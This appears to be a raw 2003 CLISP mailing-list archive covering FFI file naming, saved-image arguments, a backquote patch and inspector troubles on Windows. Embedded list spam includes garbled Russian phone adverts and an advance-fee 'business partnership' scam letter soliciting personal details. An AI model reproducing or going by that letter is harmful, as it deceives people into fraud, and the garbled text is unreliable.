Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 20:50:19 2003 X-Original-Date: Sun, 16 Mar 2003 20:45:35 -0800 Sam Steingold writes: > > I never understood the lib file either, now that you mention it. > > Did it occur to you to _click_ on the underlined "lib" in the impnotes?! > Another thing that's been added to impnotes since my old version... Interesting. Not standard for common lisp, unless the standard has changed recently. > > Is there any reason that file has to be foo.c ? > > Could there be an argument to compile-file to specify where this > > and any other generated files go? > > can you tell 'gcc -c foo.c' to write object file in foo.obj and not > foo.o? gcc -o foo.obj -c foo.c But what's that have to do with it? We're not trying to make lisp conform to c limitations are we? You can, for instance, supply and output-file argument to compile-file. If it were expected that compile file would generate multiple files I'm sure there would have been arguments in the spec to control those too. > > Could the default be something less likely to be already used, > > say foo-ffi.c ? > > There is a general idea that if you have a set of files named foo.*, > then one of them, say, foo.lisp, is the master, and the rest, e.g., > foo.fas, foo.lib, foo.lis, foo.txt, foo.c are generated from it. > Not everyone subscribes to it, of course. Actually my mistake was programming in c. But I have no choice when I want to write a module to be loaded into the linux kernel. Then I need to write a program to use the module and, of course, I want to write that in lisp. It seems natural to name them the same other than the .c/.lisp, or at least it did before I compiled the lisp. > > Could the default behavior even be that such generated files > > start with some sort of identifying comment, such as > > /* generated from foo.lisp by clisp compiler (version ...) */ > > and that if the file already exists and does not have that > > comment, an error is generated? > > sounds reasonable. > even if this is implemented, you will need to upgrade to benefit from > this, though... Yes, I recognize this. You always want me to upgrade. I'm just trying to give myself more incentive. > It is not clear that this will bring much benefit compared with the > current behavior (as opposed to what you observe). > What do other users think? From 18864t@urbanet.ch Sun Mar 16 21:13:52 2003 Received: from 233.32.dsl2.ip.foni.net ([62.214.32.233] helo=62.214.32.233) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18umwU-0000kc-00 for ; Sun, 16 Mar 2003 21:13:46 -0800 From: constellation@tconl.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Message-ID: 38CA0DA5-1A1281B1-B83BD77-68A9D013-21F691D5@pp4.inet.fi Subject: [clisp-list] óÕÐÅÒ ÔÅÌÅÆÏÎ Trium Eclipse Ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ ÚÁ 129$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 21:14:16 2003 X-Original-Date: Sun, 16 Mar 2003 19:10:03 -0500

Trium Eclipse

  • òÁÚÍÅÒÙ: 123È48È29 ÍÍ
  • ÷ÅÓ: 110 Ç.
  • ÷ÒÅÍÑ ÒÁÂÏÔÙ:
    (Li-Ion 900 mAh)
    - ÷ ÒÅÖÉÍÅ ÏÖÉÄÁÎÉÑ: ÄÏ180 ÞÁÓÏ×
    - ÷ ÒÅÖÉÍÅ ÒÁÚÇÏ×ÏÒÁ: ÄÏ 180 ÍÉÎÕÔ
  • GPRS
  • ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ
  • ðÏÌÉÆÏÎÉÞÅÓËÉÅ ÍÅÌÏÄÉÉ ×ÙÚÏ×Á
òÕÓÓÉÆÉÃÉÒÏ×ÁÎ, ÇÁÒÁÎÔÉÑ 1ÇÏÄ!   ÃÅÎÁ 129$
Ú×ÏÎÉÔÅ (095) 782-7080











1440118157 From cgkhe65@esvax.dnet.dupont.com Sun Mar 16 21:56:11 2003 Received: from pc-80-195-245-101-tl.blueyonder.co.uk ([80.195.245.101] helo=80.195.245.101) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18unbW-0007mO-00 for ; Sun, 16 Mar 2003 21:56:10 -0800 From: lisao@ptd.net To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Message-ID: 57E0F967-5BD48AC-AB7B1B4-1DE04B25-5D92568D@katsur.com Subject: [clisp-list] ðÏÄËÌÀÞÅÎÅ Ë íôó ÎÁ ÓÞÅÔÕ 30Õ.Å. ÚÁ 15Õ.Å.ÓÏÔÏ×ÙÅ ÔÅÌÅÆÏÎÙ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 21:57:02 2003 X-Original-Date: Mon, 17 Mar 2003 02:10:10 -0600
ìÀÂÏÊ ÔÁÒÉÆ íôó ïÐÔÉÍÁ Ó ÂÁÌÁÎÓÏÍ 30 Õ.Å. ÚÁ 15 Õ.Å.
 
ïÆÉÃÉÁÌØÎÏÅ ÏÆÏÒÍÌÅÎÉÅ, ÄÏÓÔÁ×ËÁ ÐÏ  ÍÏÓË×Å
ÂÅÓÐÌÁÔÎÏ!
ïÇÒÏÍÎÙÊ ×ÙÂÏÒ ÓÏÔÏ×ÙÈ ÔÅÌÅÆÏÎÏ× Ó ÎÉÚËÉÍÉ ÃÅÎÁÍÉ.
ÎÁ ÐÒÉÍÅÒ Nokia 3310 87$
 
(095) 782 7080












682340100 From pascal@informatimago.com Sun Mar 16 23:53:56 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18upRT-0001CC-00 for ; Sun, 16 Mar 2003 23:53:56 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 3E66394FE6; Mon, 17 Mar 2003 08:53:53 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030317075353.3E66394FE6@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] arguments to a saved image? 3 suggestions. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 23:54:21 2003 X-Original-Date: Mon, 17 Mar 2003 08:53:53 +0100 (CET) When invoking clisp as an interpreter, (#!/usr/bin/clisp), the argument given to the script are passed via ext:*args*. But in that case, when we load a saved image like in #!/usr/bin/clisp -M image.mem the init-function is not called. On the other hand, if it's called as: #!/bin/sh /usr/bin/clisp -M image.mem there is no way to pass the arguments. Notably,=20 #!/bin/sh /usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))" does not work because -x just executes one form then exits! How one can pass arguments to a saved image with a init-function? Another problem with -x is that it parses the form before executing it, so it is not possible to do on the command line something like: clisp -x '(progn (defpackage "TEST") (defun test::f ())' *** - READ from #: there is no package with na= me "TEST" I would suggest to have clisp behave like emacs with respect to the -x option: - several -x options must be allowed, - clisp should not exit automatically after a -x form is processed. - each form processed by a -x option would be executed before the next -x is processed (like if each form was on a different line in a script or interactively). - all the -x options should be run after loading the image, but before running the init-function. Well, this point is to be studied. If we consider the init-function as a "main" entry point into the program saved in the image, then we want the -x forms be run before because the init-function would run the program and then exit. On the other hand, if the init-function is merely an initialization function and then return to the top level loop, we may want to be able to run the -x forms after this initialization. =20 So I would suggest to add a main-function parameter to saveinitmem. Then the -x forms could be executed after the init-function but before the main-function, and clisp could quit automatically when a main-function is given after running it. So: clisp -x '(defpackage "TEST")' -x '(defun test::f ())' would be legal and would work as expected. =20 Finally, I would suggest to have a mean to pass arguments to a clisp programs when clisp is not invoked as an interpreter. Well, if the -x suggestions above are implemented, one could write: =20 clisp -K yyy -M xxx.mem -x ... -x ... -x "(setq ext:*args* '( $@ ))" but it may be cleaner to have an option to do that, for example: clisp -K yyy -M xxx.mem -x ... -x ... -- $@ In that case we would get the same processing of the arguments put in ext:*args* in all cases, [ -x "(setq ext:*args* '( $@ ))" would put symbols and numbers in ext:*args* unless the script processes $@ and put double-quotes arround them]. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From kaz@footprints.net Mon Mar 17 00:33:27 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uq3E-0000Tg-00 for ; Mon, 17 Mar 2003 00:32:56 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18uq2k-0000wO-00 for clisp-list@lists.sourceforge.net; Mon, 17 Mar 2003 00:32:26 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 00:34:11 2003 X-Original-Date: Mon, 17 Mar 2003 00:32:26 -0800 (PST) New patch: http://users.footprints.net/~kaz/clisp-2-30-backquote-2003-04-17.diff The backquote optimizer is in, and CLISP builds with it. Optimization can be turned off by setting the variable system::*backquote-optimizer* to NIL. The approach is to build the naive APPEND arguments as described in the HyperSpec, and then post-filter these. This way it is possible to write a very small, simple backquote expander, coupled with optimizer for the APPEND function that can be verified independently. (system::bq-optimize-append '((list 1 2) (list 3 4))) --> '(1 2 3 4) (system::bq-optimize-append '((list 'a) (list b) c)) --> (LIST* 'A B C) (system::bq-optimize-append '((list 'a) (list b) '(c))) --> (LIST* 'A B C) (system::bq-optimize-append '((list 'a) (list 'b) (list 'c) 'd))) --> (A B C . D) etc. In principle, we could use this as a basis for a compiler-macro over the APPEND function. Thus if some backquote bug appears, if it goes away when optimization is turned off, it's a bug in BQ-OPTIMIZE-APPEND. If it does not, then it's a bug in the semantics implemented by the macro. From df@psychology.nottingham.ac.uk Mon Mar 17 02:35:50 2003 Received: from cpsyc.psychology.nottingham.ac.uk ([128.243.31.9] helo=psychology.nottingham.ac.uk) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18urwg-0004Ti-00 for ; Mon, 17 Mar 2003 02:34:18 -0800 Received: from [128.243.33.156] ([128.243.33.156] verified) by psychology.nottingham.ac.uk (CommuniGate Pro SMTP 4.0.3) with ESMTP id 467069 for clisp-list@lists.sourceforge.net; Mon, 17 Mar 2003 10:32:29 +0000 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.5 From: Daniel Freudenthal To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] inspector via browser under windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 02:36:18 2003 X-Original-Date: Mon, 17 Mar 2003 10:32:39 +0000 This is a follow-up from an earlier post at comp.language.lisp, I'm having problems getting the inspector via Netscape/Explorer to work under windows (XP). Joerg, thanks for that. I sort of got netscape to work by changing the path and the inspector does exactly what I want it to do. I am working on simulations that create large trees of up to 100,000 nodes. I want to be able to inspect the root node, and traverse the tree in the inspector window to look at the contents of certain child nodes. The browser inspector allows me to do just that. The following 'bugs' remain however. When using netscape, I get the proper inspector window though netscape starts on the home page, and I have to copy and paste the URL into it. A more serious problem however, is that when I close Netscape (using either 'quit' as supplied on the page (URL), or closing it completely), CLISP hangs in the inspector loop. That is, it doesn't return me to the prompt. The only way I've figured out to 'recover' from that, is by closing LISP completely. Hardly a recovery, but maybe I'm overlooking something here. Using 'break' on the signals menu does't change anything, nor does resetting the LISP connection, or typing (return) or (break). Explorer launches ok, is directed to the proper URL, but takes ages to load, and gives me 'page cannot be displayed', even when I paste the URL. I'm not sure if the other bit of code you supplied (see below) is supposed to resolve these issues. I've tried running that, but I ran into a package problem (got a 'package locked' message). I am not using packages in my code, and don't know that much about using them. On a more positive note, I would like to say that I am really pleased with CLISP. It certainly beats Allegro which for my purposes is far too complex. It is very easy too port code from Macintosh Common Lisp which I use at work. It's a great program, especially considering it is free. One of my colleagues who uses ACL at work is also considering changing to CLISP. Thanks, Daniel Freudenthal. By the way, as a very minor issue, when attempting to load a lisp file from the menu, on my system, it will switch to the prompt on the first attempt, and only bring up a directory window at subsequent attempts. I don't know, if this is supposed to happen, but personally, I would like the window to be brought up the first time. > (in-package "SYSTEM") > (defun browse-url (url &key (browser *browser*) (out *standard-output*)) > "Run the browser (a keyword in `*browsers*' or a list) on the URL." > (let* ((command > (etypecase browser > (list browser) > (symbol (or (cdr (assoc browser *browsers* :test #'eq)) > (error "unknown browser: `~s' (must be a key in `~s')" > browser '*browsers*))))) > (args (mapcar (lambda (arg) (format nil arg url)) (cdr command)))) > (cond (command > (when out > (format out "~&;; running [~s~{ ~s~}]..." (car command) args) > (force-output (if (eq out t) *standard-output* out))) > (run-program (car command) :arguments args > :wait #+unix nil #-unix t) > (when out > (format out "done~%"))) > ((format t "~s: no browser specified; please point your browser at~%~ > --> ~%" 'browse-url url))))) From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 17 02:49:45 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18usBb-0002WS-00 for ; Mon, 17 Mar 2003 02:49:43 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 17 Mar 2003 11:35:36 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Mar 2003 11:35:36 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E79C@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kaz@ashi.footprints.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 02:50:23 2003 X-Original-Date: Mon, 17 Mar 2003 11:35:28 +0100 Kaz Kylheku wrote: > The job of expansion, rather, is moved >into the macro itself. So we now have a thick macro, but a thin reader >macro rather than the other way around. If it's in a macro (instead of read-time), it makes me wonder whether it can also insert into a vector: [51]> `#(1 2 ,(list 2 3) 3) #(1 2 (2 3) 3) Normally, using macros instead of reader stuff only allows code transformations in places that get evaluated (i.e. forms, e.g. not inside a (declare #) expression). You'd have to guess somehow that the #() which is being read is not a literal array. Do you provide for this? Regards, Jorg Hohle. From anthonyrulang@netscape.net Mon Mar 17 04:38:22 2003 Received: from a108206.upc-a.chello.nl ([62.163.108.206] helo=techno-yq77mamn) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18utsj-0001Xs-00 for ; Mon, 17 Mar 2003 04:38:21 -0800 From: "Anthony Rulanga" To: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Message-Id: Subject: [clisp-list] URGENT BUSINESS PARTNERSHIP SOLICITATION Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 04:41:35 2003 X-Original-Date: Mon, 17 Mar 2003 13:38:01 You may be surprise to receive this letter from me,since you dont know me personally,I am Anthony Rulanga The son of Dr. Christopher Rulanga, Who was recently killed in the land reform dispute in Zimbabwe. I got your contact as i was searching for a reliable and reputable person to handle a very confidential business which involve the claiming and transfering of fund into a foreign account for safe keeping and further investment. My father was among the few black Zimbabwean opposition party rich farmers who were against President Robert Mugabe's land reform policies against the white farmers in Zimbabwe.For his alleged support and sympathy for the Zimbabwean opposition party controlled by the white minority farmers.Before my father was killed,he was a successful farmer in support of his white colleagues .He had taken to South Africa and deposited the sum of twelve million five hundred thousand united state dollars (US$12.5million) with a security/finance company as he forseen the looming danger in zimbabwe. This is to avoid it been confiscated by President Robert Mugabe and ruling party.This money was allocated for the purchase of new machinery and chemical product for Agro-allied farms and for establishment of new farms in lesotho and swaziland.This land problems arose when President Robert mugabe introduced a new land act that wholly affected the rich white farmers.Some blacks vehemently condemned the "modus operandi" adopted by the government. This result to rampant killings and mob action by the war veterans and some political thugs,precisely more than three thousand( 3,000) people have so far been killed.Heads of government from the west, especially Britain and United States have voice their condemnation of Mugabe's plans. Currently,the money has been transfer to Europe via diplomatic process,due to current escalation of the problem in Zimbabwe to avoid it been confiscated.Hence,South Africa Development Community (S.A.D.C) has continously supported Mugabe's new land act.This is the reason why we decided to transfer this fund to Europe and flee out of the South Africa where we were living since this problem started to another neighbouring country in Africa.I am faced with the dilemma of keeping and investing of this money in whole of Africa for fear of encountering the same experience in the future or confiscation of all that belong to my family by these African leaders.Since all countries in Africa have almost the same political tie. Hence,my family and i are currently on excile in a neighbouring country in Africa. Well,all i demand from you is to be our representative/beneficiary to make claim of this fund,which is currently deposited in the security company's custody in Europe.I will also inform you that a transaction of this magnitude is risk free and or mutual benefit.For your assistance of claiming and safeguarding the money,we are offering you 20% of the sum ,75% for me and my family, while 5% will be mapped out for any expenses that we may incurre during this transaction.We wish to offer you 20% of annual turnover of any investment you wish to invest this money when it finally gets into your propose account,for a period of ten consecutive years. Finally, i will demand for assurance that you will not sit on the money when it gets to your personal account or company's account, If this proposal is accepted please confirm your interest by sending me an email and providing your full name,address, tel and fax numbers to enable me introduce you to the security company in Europe where the money is currently deposited as my beneficiary/partner. Thanks. Anthony Rulanga. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 17 04:55:38 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uu9Q-0006hA-00 for ; Mon, 17 Mar 2003 04:55:37 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 17 Mar 2003 13:52:12 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Mar 2003 13:52:11 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E862@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: df@psychology.nottingham.ac.uk Subject: AW: [clisp-list] inspector via browser under windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 04:57:50 2003 X-Original-Date: Mon, 17 Mar 2003 13:52:05 +0100 Hi, here is my attempt at solving *some* of the issues. Daniel Freudenthal wrote: >I'm having problems getting the inspector via Netscape/Explorer >to work under windows (XP). I don't have that here. It may behave very differently from 2000. What version of CLISP are you using? >I sort of got netscape to work by changing the path and the >inspector does exactly what I want it to do. Sounds good. >The following 'bugs' remain however. When using netscape, I >get the proper >inspector window though netscape starts on the home page, and >I have to copy and paste the URL into it. >A more serious problem however, is that when I >close Netscape (using either 'quit' as supplied on the page (URL), or >closing it completely), CLISP hangs in the inspector loop. That should not happen using the "quit" URL. That's a bug. ;;; If you encounter a bug in this file, please set sys::*inspect-debug* ;;; to 5 and report all output with a detailed description of what you did ;;; to (see http://clisp.cons.org about CLISP mailing lists), ;;; as you do with any other CLISP bugs. (setq sys::*inspect-debug* 5) send output here. OTOH, it's normal to hang when just closing the browser. The reason is that you could have N browsers open, inspecting various Lisp objects. Closing one of those must not be related to "I'm finished with the inspector HTTP server". You have to tell CLISP this fact, i.e. use the "quit" URL. >doesn't return me to the prompt. The only way I've figured out >to 'recover' from that, is by closing LISP completely. Ctrl-C should work in all cases - at least using CLISP >2.28 Looks like another bug. MS-Windows-XP seems rather different?? [69]> (inspect (list-all-packages) :frontend :http) EXT:BROWSE-URL: no browser specified; please point your browser at --> *** - Winsock error 10060 (ETIMEDOUT): Connection timed out 1. Break INSPECT-TMP-PACKAGE-834[70]> :a [71]> BTW, this is IMHO a weird error about time-outs message just from using ctrl-C. >Using 'break' on the signals menu does't change How are you running CLISP? What menu is that? >anything, nor does resetting the LISP connection, or typing (return) or >(break). >By the way, as a very minor issue, when attempting to load a >lisp file from the menu, on my system, it will switch to the prompt on the >first attempt, Again, what menu is this? >Explorer launches ok, is directed to the proper URL, but takes >ages to load, >and gives me 'page cannot be displayed', even when I paste the URL. >I'm not sure if the other bit of code you supplied (see below) >is supposed >to resolve these issues. I've tried running that, but I ran >into a package >problem (got a 'package locked' message). I am not using packages in my >code, and don't know that much about using them. Sorry for the missing instructions. Please use: [55]> (in-package "SYSTEM") SYS[58]> (setf (package-lock "SYSTEM") nil) SYS[59]> (defun browse-url (url &key (browser *browser*) (out *standard-output*)) [...what I posted] ** - Continuable Error DEFUN/DEFMACRO(BROWSE-URL): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break SYS[62]> continue BROWSE-URL SYS[63]> (setf (package-lock "SYSTEM") t) T SYS[64]> (in-package "USER") Now, try out: [74]> (inspect (list-all-packages) :frontend :http :browser :netscape) ;; running ["netscape" "http://127.0.0.1:4608/0/:s"]... *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. 1. Break INSPECT-TMP-PACKAGE-836[75]> :a [76]> Oops, that problem with non-absolute pathnames in custom:*browsers* (e.g. "netscape.exe" does not work). Try: [77]> (setq custom:*browsers* '(;; Sadly, location of iexplore.exe depends on MS-Windows-95/98/NT/2000/xy/z #+win32(:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a") ;; PROGRA~1 works with "Program Files", "Programme" and hopefully more ;; Netscape will detach (run asynchronously) by itself, IE does not. #+win32(:netscape "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "~a") #+win32(:emacs-w3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q" "(w3-fetch \"~a\")") ;; gnuclient/gnudoit are semi-aynchronous #+win32(:emacs "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a") )) ((:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a") (:NETSCAPE "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "~a") (:EMACS-W3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q" "(w3-fetch \"~a\")") (:EMACS "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a")) [78]> (inspect (list-all-packages) :frontend :http :browser :netscape) ;; running ["C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "http://127.0.0.1:4609/0/:s"]... Now netscape works - at least for me. You may need to visit your proxy configuration. I.e., I had to add 127.0.0.1 to the comma-separated list of hosts not to be looked up via proxy before this actually worked. Now, let's look at MS-IE. [MS-IE waits forever...] Oh well, you cannot use (inspect ... :browser :ie) for the reasons I explained in cll. CLISP waits for MS-IE to terminate (or detach) in order to start the web-server. MS-IE does not do this and waits for CLISP: it's a dead-lock. As I said in cll, you'll have to copy&paste the URL with MS-IE and use :browser nil. Maybe there's also a -detach option to MS-IE. I don't know. More generally, some MS-Windows guru will have to add code to CLISP so that it can asynchronously start processes. That's what's needed here. [trying out things] Oops, now I maybe see one of your problems: CLISP has started MS-IE, and I cannot ctrl-C CLISP anymore while it's waiting for the program to terminate. I must quit MS-IE first. Then only will CLISP display: *** - Ctrl-C: User break 1. Break INSPECT-TMP-PACKAGE-839[85]> :a OTOH, using MS-IE with copy&paste URLs works for me: [86]> (inspect (list-all-packages) :frontend :http) EXT:BROWSE-URL: no browser specified; please point your browser at --> [navigate in MS-IE, then use "quit" URL.] Maybe MS-IE is unable to resolve the FQDN URL - a proxy settings problem? Please try out: http://127.0.0.1:4627/0/:s http://localhost:4627/0/:s instead of http://foo.bar.telekom.de:4627/0/:s which CLISP tells you - replacing 4627 with what your CLISP tells you, then report here. Regards, Jorg Hohle. From sds@gnu.org Mon Mar 17 06:54:17 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uw0H-0003nN-00 for ; Mon, 17 Mar 2003 06:54:17 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030317145410.BSYR20701.out005.verizon.net@loiso.podval.org>; Mon, 17 Mar 2003 08:54:10 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2HEsuTx005024; Mon, 17 Mar 2003 09:54:56 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2HEsi0J005020; Mon, 17 Mar 2003 09:54:44 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] arguments to a saved image? 3 suggestions. References: <20030317075353.3E66394FE6@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030317075353.3E66394FE6@thalassa.informatimago.com> Message-ID: Lines: 108 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Mon, 17 Mar 2003 08:54:10 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 07:01:39 2003 X-Original-Date: 17 Mar 2003 09:54:44 -0500 > * In message <20030317075353.3E66394FE6@thalassa.informatimago.com> > * On the subject of "[clisp-list] arguments to a saved image? 3 suggestions." > * Sent on Mon, 17 Mar 2003 08:53:53 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > When invoking clisp as an interpreter, (#!/usr/bin/clisp), the > argument given to the script are passed via ext:*args*. indeed. > But in that case, when we load a saved image like in > #!/usr/bin/clisp -M image.mem > the init-function is not called. indeed. this is so that you can re-use the image for scripting as well as interactive purposes. if you want to call the init-function, you can do =================================== #!/usr/bin/clisp -M image.mem (init-function) ... =================================== > On the other hand, if it's called as: > #!/bin/sh > /usr/bin/clisp -M image.mem > there is no way to pass the arguments. =================================== #!/bin/sh /usr/bin/clisp -M image.mem $@ =================================== > Notably, > > #!/bin/sh > /usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))" > > does not work because -x just executes one form then exits! indeed, as documented > How one can pass arguments to a saved image with a init-function? $ clisp -M image.mem "" my-arg1 my-arg2 my-arg3 > Another problem with -x is that it parses the form before executing > it, so it is not possible to do on the command line something like: > > clisp -x '(progn (defpackage "TEST") (defun test::f ())' > > *** - READ from #: there is no package with name "TEST" try clisp -x '(defpackage "TEST") (defun test::f ())' > - several -x options must be allowed, clisp -x "(foo)" -x "(bar)" === clisp -x "(foobar)" what do we need the sugar for? > - clisp should not exit automatically after a -x form is processed. this 